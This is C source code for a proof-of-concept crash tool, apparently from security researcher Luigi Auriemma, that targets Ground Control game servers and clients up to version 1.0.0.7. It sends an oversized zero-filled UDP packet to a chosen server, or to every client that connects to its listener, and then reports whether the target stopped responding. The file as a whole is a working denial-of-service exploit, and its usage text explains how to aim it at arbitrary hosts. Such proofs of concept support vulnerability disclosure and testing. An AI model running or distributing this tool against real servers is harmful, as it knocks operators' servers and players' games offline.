/*
by Luigi Auriemma
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 42001
#define BUFFSZ 2048
#define BOOMSZ 1024 // 513 is enough
#define TIMEOUT 3
#define INFO "\x58\x00\x00\x00" /* build */ \
"\x52\x00" /* protocol */ \
"\x0a\x00\x00" /* gameinfo */
/* this packet is not important, you can also use random data */

void show_gc2info(u_char *data, int len);
void unicode2char(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
psz,
on = 1,
type,
doubt = 0;
u_short port = PORT;
u_char buff[BUFFSZ];

setbuf(stdout, NULL);

fputs("\n"
"Ground Control <= 1.0.0.7 server/client crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\nUsage: %s <attack> [port(%d)]\n"
"\n"
"Attack:\n"
" c = broadcast clients crash\n"
" s = server crash (can be also directly used versus a client)\n"
" You must add the IP or the hostname of the server after the
's'.\n"
"\n"
"Some usage examples:\n"
" gc2boom c listens on port %d for clients\n"
" gc2boom c 1234 listens on port 1234\n"
" gc2boom s 192.168.0.1 tests the server 192.168.0.1 on port %d\n"
" gc2boom s codserver 1234 tests the server codserver on port
1234\n"
"\n", argv[0], PORT, PORT, PORT);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

type = argv[1][0];
if(type == 's') {
if(!argv[2]) {
fputs("\n"
"Error: you must specify the server IP or hostname.\n"
" Example: gc2boom s localhost\n"
"\n", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[2]);
if(argc > 3) port = atoi(argv[3]);
printf("\n- Target %s:%hu\n\n",
inet_ntoa(peer.sin_addr),
port);
} else if(type == 'c') {
peer.sin_addr.s_addr = INADDR_ANY;
if(argc > 2) port = atoi(argv[2]);
printf("\n- Listening on port %d\n", port);
} else {
fputs("\n"
"Error: Wrong type of attack.\n"
" You can choose between 2 types of attacks, versus clients with 'c'
or\n"
" versus servers with 's'\n"
"\n", stdout);
exit(1);
}

peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(type == 's') {
fputs("- Request informations\n", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\n"
"Alert: socket timeout, probably the server is not online or the
port you have\n"
" choosen is not exact.\n"
" Check the \"unreliableport\" value in the server's
informations.\n"
" This tool now continue the attack\n", stdout);
doubt = 1;
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
show_gc2info(buff, len);
}

memset(buff, 0x00, BOOMSZ);
fputs("- Send BOOM packet\n", stdout);
if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

fputs("- Wait one second for an exact check\n", stdout);
sleep(ONESEC);

fputs("- Check if server is vulnerable\n", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(doubt) {
fputs("\nI can't say if the host is vulnerable, check it
manually\n\n", stdout);
} else {
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
}
} else {
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("Clients:\n", stdout);
while(1) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
buff[len] = 0x00;

printf("%16s:%hu -> %s\n",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port),
buff);

memset(buff, 0x00, BOOMSZ);
if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
}
}

close(sd);
return(0);
}

void show_gc2info(u_char *data, int len) {
u_char *ptr;
int cp;

printf("\n Build: %d", *(u_short *)data);
printf("\n Protocol: %d", *(u_short *)(data + 4));
printf("\n Gameinfo: %d", *(u_short *)(data + 6));
ptr = data + 9;
fputs("\n Server name: ", stdout);
unicode2char(ptr + 1, *ptr);
fwrite(ptr + 1, 1, *ptr, stdout);
ptr += (*ptr << 1) + 1;
fputs("\n Map: ", stdout);
ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
fputs("\n External IP: ", stdout);
ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
ptr += 4;
cp = *ptr++;
printf("\n Current players: %d", cp);
printf("\n Max players: %d", *ptr++);
printf("\n ???: %s", *ptr++ ? "true" : "false");
printf("\n Dedicated: %s", *ptr++ ? "true" : "false");
printf("\n Password: %s", *ptr++ ? "true" : "false");
ptr += 5;
while(cp--) {
fputs("\n Player: ", stdout);
unicode2char(ptr + 1, *ptr);
fwrite(ptr + 1, 1, *ptr, stdout);
ptr += (*ptr << 1) + 1 + 6;
}
fputs("\n\n", stdout);
}

void unicode2char(u_char *data, int len) {
u_char *out = data;

while(len--) {
*out++ = *data++;
data++;
}
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}